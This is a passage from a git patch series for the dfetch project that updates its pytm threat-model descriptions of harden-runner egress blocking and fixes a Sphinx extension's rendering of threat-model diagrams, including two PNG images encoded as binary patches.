+ name="Harden-runner in block mode", assets=["EA-04", "SA-06"], threats=["DFT-07"], description=( "``step-security/harden-runner`` is configured with " - "``egress-policy: audit``. Outbound connections are logged but not " - "blocked — secret exfiltration via a compromised CI step remains possible." + "``egress-policy: block`` and an allowlist of permitted endpoints. " + "Non-allowlisted outbound connections are blocked." ), ), # ── Gaps ───────────────────────────────────────────────────────────────── diff --git a/security/tm_usage.py b/security/tm_usage.py index e7cab768d..8decaa3ca 100644 --- a/security/tm_usage.py +++ b/security/tm_usage.py @@ -211,9 +211,8 @@ description=( "SSH private keys, HTTPS Personal Access Tokens, SVN passwords. " "Used to authenticate to private upstream repositories. " - "dfetch never persists these — managed by OS keychain or CI secret store. " - "Exfiltration via a compromised CI workflow step is the primary risk " - "(harden-runner is in audit mode, not block mode)." + "dfetch never persists these — managed by OS keychain, SSH agent, " + "or CI secret store." ), classification=Classification.SECRET, isCredentials=True, From 42243b6b99bb4ca4ce6669bec9dd5ccc5959d2bb Mon Sep 17 00:00:00 2001 From: Ben Spoor Date: Sat, 2 May 2026 19:28:38 +0200 Subject: [PATCH 27/28] update models --- doc/_ext/pytm_directive.py | 17 ++++++----------- doc/conf.py | 4 ++++ 2 files changed, 10 insertions(+), 11 deletions(-) diff --git a/doc/_ext/pytm_directive.py b/doc/_ext/pytm_directive.py index 391ac3e3d..3fb90a429 100644 --- a/doc/_ext/pytm_directive.py +++ b/doc/_ext/pytm_directive.py @@ -136,7 +136,7 @@ def run(self) -> list[nodes.Node]: # rebuilds it whenever the model changes. env.note_dependency(model_path) - data = _get_model_data(model_path) + data = _get_model_data(model_path, app.confdir) sections: list[str] = [] if "assumptions" in self.options: @@ -181,16 +181,15 @@ def _resolve_path(self, app: Any) -> str | None: # --------------------------------------------------------------------------- -def _get_model_data(model_path: str) -> dict: +def _get_model_data(model_path: str, confdir: str = "") -> dict: """Return cached model data, loading on first access (thread-safe).""" mtime = os.path.getmtime(model_path) key = (model_path, mtime) if key in _model_cache: return _model_cache[key] with _load_lock: - # Re-check after acquiring lock (another thread may have loaded it). if key not in _model_cache: - _model_cache[key] = _load_model(model_path) + _model_cache[key] = _load_model(model_path, confdir) return _model_cache[key] @@ -310,18 +309,14 @@ def _generate_diagrams(mod: Any, confdir: str = "") -> tuple[str, str, str, str] os.makedirs(pytm_static, exist_ok=True) if seq_str: out = os.path.join(pytm_static, "threat_model_seq.png") - data, _fmt, _, _ = _pw_render( - seq_str.encode(), engine="graphviz", format="png" - ) + data, _fmt, _, _ = _pw_render(seq_str, engine="graphviz", format="png") with open(out, "wb") as fh: fh.write(data) seq_img_path = "/_static/pytm/threat_model_seq.png" if dfd_str: dfd_puml = f"@startdot\n{dfd_str.strip()}\n@enddot" out = os.path.join(pytm_static, "threat_model_dfd.png") - data, _fmt, _, _ = _pw_render( - dfd_puml.encode(), engine="graphviz", format="png" - ) + data, _fmt, _, _ = _pw_render(dfd_puml, engine="graphviz", format="png") with open(out, "wb") as fh: fh.write(data) dfd_img_path = "/_static/pytm/threat_model_dfd.png" @@ -686,7 +681,7 @@ def _on_builder_inited(app: Sphinx) -> None: return try: mtime = os.path.getmtime(model_path) - data = _load_model(model_path, confdir=app.confdir) + data = _load_model(model_path, confdir=str(app.confdir)) _model_cache[(model_path, mtime)] = data logger.info( f"pytm: loaded {len(data['assumptions'])} assumptions, " diff --git a/doc/conf.py b/doc/conf.py index 3bd6d61df..03928f05d 100644 --- a/doc/conf.py +++ b/doc/conf.py @@ -65,6 +65,10 @@ "pytm_directive", ] +plantweb_defaults = { + "engine": "graphviz", +} + # The pytm threat model is now modular. See security/ for: # - tm_supply_chain.py (pre-install lifecycle) # - tm_usage.py (post-install lifecycle) From edcd946377d177ebc2a147dde1ab0425de57a6e5 Mon Sep 17 00:00:00 2001 From: Ben Spoor Date: Sat, 2 May 2026 19:46:52 +0200 Subject: [PATCH 28/28] Fix dfd --- doc/_ext/pytm_directive.py | 9 ++++++--- doc/_static/pytm/threat_model_dfd.png | Bin 0 -> 33997 bytes doc/_static/pytm/threat_model_seq.png | Bin 0 -> 41238 bytes 3 files changed, 6 insertions(+), 3 deletions(-) create mode 100644 doc/_static/pytm/threat_model_dfd.png create mode 100644 doc/_static/pytm/threat_model_seq.png diff --git a/doc/_ext/pytm_directive.py b/doc/_ext/pytm_directive.py index 3fb90a429..5a1f0dffe 100644 --- a/doc/_ext/pytm_directive.py +++ b/doc/_ext/pytm_directive.py @@ -635,9 +635,12 @@ def _render_seq(seq_str: str, seq_img_path: str = "") -> str: def _render_dfd(dfd_str: str, dfd_img_path: str = "") -> str: if not dfd_str or not dfd_str.strip(): return ".. note::\n\n No data-flow diagram generated by the threat model." - dfd_puml = f"@startdot\n{dfd_str.strip()}\n@enddot" - lines = [".. only:: html", "", " .. uml::", ""] - for line in dfd_puml.splitlines(): + # Use sphinx.ext.graphviz (local dot binary) so node image= attributes that + # reference local pytm PNG files are resolvable. The plantweb/plantuml.com + # path sends content to a remote server that cannot read local paths, + # causing graphviz to prepend warning text that corrupts the PNG output. + lines = [".. only:: html", "", " .. graphviz::", ""] + for line in dfd_str.splitlines(): lines.append(" " + line if line.strip() else "") if dfd_img_path: lines += [ diff --git a/doc/_static/pytm/threat_model_dfd.png b/doc/_static/pytm/threat_model_dfd.png new file mode 100644 index 0000000000000000000000000000000000000000..b02d7e7697fd74936f6a0b5b18b71ff8b4ec4e8f GIT binary patch literal 33997 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 